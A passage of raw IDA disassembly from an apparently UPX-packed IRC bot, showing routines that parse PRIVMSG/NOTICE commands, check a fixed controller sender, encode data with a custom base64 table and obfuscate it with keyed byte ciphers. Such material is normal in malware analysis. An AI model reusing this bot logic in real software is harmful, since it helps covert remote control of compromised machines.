; ---------------------------------------------------------------------------


loc_40E66D:				; CODE XREF: sub_40E618+47j
		and	ds:dword_41EA7C, 0


loc_40E674:				; CODE XREF: sub_40E618+53j
		cmp	[ebp+var_1148],	0
		jz	short loc_40E686
		cmp	[ebp+var_1144],	0
		jnz	short loc_40E68B


loc_40E686:				; CODE XREF: sub_40E618+63j
		jmp	locret_40E941
; ---------------------------------------------------------------------------


loc_40E68B:				; CODE XREF: sub_40E618+6Cj
		push	offset aPrivmsg	; "PRIVMSG"
		push	[ebp+var_1144]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40E6BB
		push	offset aNotice	; "NOTICE"
		push	[ebp+var_1144]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E7A5


loc_40E6BB:				; CODE XREF: sub_40E618+87j
		cmp	[ebp+var_113C],	0
		jz	loc_40E7A5
		cmp	[ebp+var_1138],	0
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+2]
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_113C]
		add	eax, [ebp+var_1190]
		and	byte ptr [eax+1], 0
		push	0Dh
		lea	eax, [ebp+var_1180]
		push	eax
		lea	eax, [ebp+var_113C]
		push	eax
		push	[ebp+var_1180]
		push	[ebp+var_113C]
		call	sub_407928
		add	esp, 14h


loc_40E7A5:				; CODE XREF: sub_40E618+9Dj
					; sub_40E618+AAj ...
		push	offset aLinkLink@link ;	"link!link@link"
		push	[ebp+var_1148]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40E853
		and	[ebp+var_1194],	0
		jmp	short loc_40E7D5
; ---------------------------------------------------------------------------


loc_40E7C8:				; CODE XREF: sub_40E618+234j
		mov	eax, [ebp+var_1194]
		inc	eax
		mov	[ebp+var_1194],	eax


loc_40E7D5:				; CODE XREF: sub_40E618+1AEj
		mov	eax, [ebp+var_1194]
		cmp	ds:off_41DB10[eax*4], 0
		jnz	short loc_40E7E7
		jmp	short loc_40E851
; ---------------------------------------------------------------------------


loc_40E7E7:				; CODE XREF: sub_40E618+1CBj
		mov	eax, [ebp+var_1194]
		push	ds:off_41DB10[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_1194]
		push	ds:off_41DB10[eax*4]
		mov	eax, [ebp+var_1148]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E839
		mov	eax, [ebp+var_1194]
		push	ds:off_41DB10[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	[ebp+var_4], 1
		jmp	short loc_40E851
; ---------------------------------------------------------------------------


loc_40E839:				; CODE XREF: sub_40E618+203j
		mov	eax, [ebp+var_1194]
		push	ds:off_41DB10[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	loc_40E7C8
; ---------------------------------------------------------------------------


loc_40E851:				; CODE XREF: sub_40E618+1CDj
					; sub_40E618+21Fj
		jmp	short loc_40E85A
; ---------------------------------------------------------------------------


loc_40E853:				; CODE XREF: sub_40E618+1A1j
		mov	[ebp+var_4], 1


loc_40E85A:				; CODE XREF: sub_40E618:loc_40E851j
		and	[ebp+var_88], 0
		mov	[ebp+var_114C],	1
		jmp	short loc_40E87A
; ---------------------------------------------------------------------------


loc_40E86D:				; CODE XREF: sub_40E618:loc_40E90Aj
		mov	eax, [ebp+var_114C]
		inc	eax
		mov	[ebp+var_114C],	eax


loc_40E87A:				; CODE XREF: sub_40E618+253j
		cmp	[ebp+var_114C],	80h
		jge	loc_40E90F
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 21h
		jnz	short loc_40E8B6
		mov	[ebp+var_88], 1
		mov	eax, [ebp+var_114C]
		and	byte ptr [ebp+eax+var_88+3], 0


loc_40E8B6:				; CODE XREF: sub_40E618+284j
		cmp	[ebp+var_88], 0
		jnz	short loc_40E8DA
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	byte ptr [ebp+ecx+var_88+3], al


loc_40E8DA:				; CODE XREF: sub_40E618+2A5j
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	[ebp+ecx+var_1109], al
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E90A
		jmp	short loc_40E90F
; ---------------------------------------------------------------------------


loc_40E90A:				; CODE XREF: sub_40E618+2EEj
		jmp	loc_40E86D
; ---------------------------------------------------------------------------


loc_40E90F:				; CODE XREF: sub_40E618+26Cj
					; sub_40E618+2F0j
		and	[ebp+var_5], 0
		and	[ebp+var_1089],	0
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1108]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+var_4]
		call	sub_40D871
		add	esp, 14h

locret_40E941:				; CODE XREF: sub_40E618:loc_40E686j
		leave
		retn
sub_40E618	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E943	proc near		; CODE XREF: UPX0:00416ABAp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_40E94E:				; CODE XREF: sub_40E943+32j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E960
		jmp	short locret_40E977
; ---------------------------------------------------------------------------


loc_40E960:				; CODE XREF: sub_40E943+19j
		push	[ebp+var_8]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+var_8]
		call	sub_40E618
		pop	ecx
		jmp	short loc_40E94E
; ---------------------------------------------------------------------------

locret_40E977:				; CODE XREF: sub_40E943+1Bj
		leave
		retn
sub_40E943	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E979	proc near		; CODE XREF: UPX0:004168D5p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40E98A
; ---------------------------------------------------------------------------


loc_40E983:				; CODE XREF: sub_40E979+24j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40E98A:				; CODE XREF: sub_40E979+8j
		cmp	[ebp+var_4], 100h
		jnb	short loc_40E99F
		mov	eax, [ebp+var_4]
		and	ds:byte_41EA80[eax], 0
		jmp	short loc_40E983
; ---------------------------------------------------------------------------


loc_40E99F:				; CODE XREF: sub_40E979+18j
		and	[ebp+var_4], 0
		jmp	short loc_40E9AC
; ---------------------------------------------------------------------------


loc_40E9A5:				; CODE XREF: sub_40E979+4Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40E9AC:				; CODE XREF: sub_40E979+2Aj
		cmp	[ebp+var_4], 40h
		jnb	short locret_40E9C7
		mov	eax, [ebp+var_4]
		movzx	eax, ds:byte_41A18C[eax]
		mov	cl, byte ptr [ebp+var_4]
		mov	ds:byte_41EA80[eax], cl
		jmp	short loc_40E9A5
; ---------------------------------------------------------------------------

locret_40E9C7:				; CODE XREF: sub_40E979+37j
		leave
		retn
sub_40E979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9C9	proc near		; CODE XREF: sub_40A9CF+34Cp
					; sub_40A9CF+E18p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 2
		jnb	short loc_40E9E8
		xor	eax, eax
		jmp	locret_40EB4C
; ---------------------------------------------------------------------------


loc_40E9E8:				; CODE XREF: sub_40E9C9+16j
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0


loc_40E9F0:				; CODE XREF: sub_40E9C9+17Aj
		push	1
		pop	eax
		test	eax, eax
		jz	loc_40EB48
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA29
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, ds:byte_41EA80[eax]
		shl	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA2E
; ---------------------------------------------------------------------------


loc_40EA29:				; CODE XREF: sub_40E9C9+40j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA2E:				; CODE XREF: sub_40E9C9+5Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA66
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, ds:byte_41EA80[eax]
		sar	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EA6B
; ---------------------------------------------------------------------------


loc_40EA66:				; CODE XREF: sub_40E9C9+72j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA6B:				; CODE XREF: sub_40E9C9+9Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA99
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, ds:byte_41EA80[eax]
		shl	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA9E
; ---------------------------------------------------------------------------


loc_40EA99:				; CODE XREF: sub_40E9C9+B0j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA9E:				; CODE XREF: sub_40E9C9+CEj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EAD6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, ds:byte_41EA80[eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EAD8
; ---------------------------------------------------------------------------


loc_40EAD6:				; CODE XREF: sub_40E9C9+E2j
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EAD8:				; CODE XREF: sub_40E9C9+10Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB06
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, ds:byte_41EA80[eax]
		shl	eax, 6
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EB08
; ---------------------------------------------------------------------------


loc_40EB06:				; CODE XREF: sub_40E9C9+11Dj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EB08:				; CODE XREF: sub_40E9C9+13Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB3A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, ds:byte_41EA80[eax]
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EB3C
; ---------------------------------------------------------------------------


loc_40EB3A:				; CODE XREF: sub_40E9C9+14Cj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40E9C9+16Fj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		jmp	loc_40E9F0
; ---------------------------------------------------------------------------


loc_40EB48:				; CODE XREF: sub_40E9C9+2Cj
					; sub_40E9C9:loc_40EA29j ...
		mov	eax, [ebp+var_4]
		dec	eax

locret_40EB4C:				; CODE XREF: sub_40E9C9+1Aj
		leave
		retn
sub_40E9C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB4E	proc near		; CODE XREF: sub_40A9CF+292p
					; sub_40A9CF+D12p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0


loc_40EB60:				; CODE XREF: sub_40EB4E:loc_40EC83j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, ds:byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 4
		and	eax, 30h
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EBC2
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, ds:byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	loc_40EC88
; ---------------------------------------------------------------------------


loc_40EBC2:				; CODE XREF: sub_40EB4E+52j
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 4
		and	ecx, 0Fh
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, ds:byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 2
		and	eax, 3Ch
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC2A
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, ds:byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------


loc_40EC2A:				; CODE XREF: sub_40EB4E+BDj
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 6
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, ds:byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 3Fh
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, ds:byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC83
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------


loc_40EC83:				; CODE XREF: sub_40EB4E+131j
		jmp	loc_40EB60
; ---------------------------------------------------------------------------


loc_40EC88:				; CODE XREF: sub_40EB4E+6Fj
					; sub_40EB4E+DAj ...
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		leave
		retn
sub_40EB4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC96	proc near		; CODE XREF: sub_40A9CF+2FAp
					; sub_40E618+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40ECB4
; ---------------------------------------------------------------------------


loc_40ECAD:				; CODE XREF: sub_40EC96+3Aj
					; sub_40EC96+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40ECB4:				; CODE XREF: sub_40EC96+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short loc_40ECE6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movzx	eax, ds:byte_41EA80[eax]
		test	eax, eax
		jz	short loc_40ECD2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------


loc_40ECD2:				; CODE XREF: sub_40EC96+38j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jnz	short loc_40ECE2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------


loc_40ECE2:				; CODE XREF: sub_40EC96+48j
		xor	eax, eax
		jmp	short locret_40ECE9
; ---------------------------------------------------------------------------


loc_40ECE6:				; CODE XREF: sub_40EC96+24j
		push	1
		pop	eax

locret_40ECE9:				; CODE XREF: sub_40EC96+4Ej
		leave
		retn
sub_40EC96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECEB	proc near		; CODE XREF: UPX0:004168EFp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EB84
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	eax, byte_41EB84
		push	10h
		pop	edx


loc_40ED29:				; CODE XREF: sub_40ECEB+46j
		mov	cl, [eax]
		rol	cl, cl
		mov	[eax], cl
		inc	eax
		dec	edx
		jnz	short loc_40ED29
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ECEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED38	proc near		; CODE XREF: sub_40A9CF+14p
					; sub_41113B+159p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		xor	ecx, ecx
		xor	eax, eax


loc_40ED45:				; CODE XREF: sub_40ED38+2Fj
		mov	cl, [esi]
		test	ecx, ecx
		jz	short loc_40ED69
		cmp	ecx, 61h
		jb	short loc_40ED53
		sub	ecx, 20h


loc_40ED53:				; CODE XREF: sub_40ED38+16j
		and	ecx, 7Fh
		add	eax, ecx
		and	ecx, 0Fh
		mov	cl, ds:byte_41EB84[ecx]
		add	eax, ecx
		rol	eax, 3
		inc	esi
		jmp	short loc_40ED45
; ---------------------------------------------------------------------------


loc_40ED69:				; CODE XREF: sub_40ED38+11j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40ED38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED6E	proc near		; CODE XREF: UPX0:004168FDp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_41EB98
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, dword_41EB98
		mov	edi, esi
		push	10h
		pop	ecx


loc_40EDAE:				; CODE XREF: sub_40ED6E+48j
		lodsb
		xor	al, 0AAh
		add	al, al
		or	al, 1
		stosb
		loop	loc_40EDAE
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ED6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EDBD	proc near		; CODE XREF: sub_40EF29+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EDCE
; ---------------------------------------------------------------------------


loc_40EDC7:				; CODE XREF: sub_40EDBD+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40EDCE:				; CODE XREF: sub_40EDBD+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EE71
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		sub	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EDC7
; ---------------------------------------------------------------------------

locret_40EE71:				; CODE XREF: sub_40EDBD+17j
		leave
		retn
sub_40EDBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE73	proc near		; CODE XREF: sub_40EF41+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EE84
; ---------------------------------------------------------------------------


loc_40EE7D:				; CODE XREF: sub_40EE73+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40EE84:				; CODE XREF: sub_40EE73+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EF27
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		add	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EE7D
; ---------------------------------------------------------------------------

locret_40EF27:				; CODE XREF: sub_40EE73+17j
		leave
		retn
sub_40EE73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF29	proc near		; CODE XREF: sub_40A9CF+25Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EB98
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EDBD
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF41	proc near		; CODE XREF: sub_40A9CF+380p
					; sub_40D871+7ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EB98
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EE73
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF59	proc near		; CODE XREF: sub_40A9CF+271p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		call	sub_410422
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		and	[ebp+var_8], 0
		jmp	short loc_40EF91
; ---------------------------------------------------------------------------


loc_40EF8A:				; CODE XREF: sub_40EF59+7Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


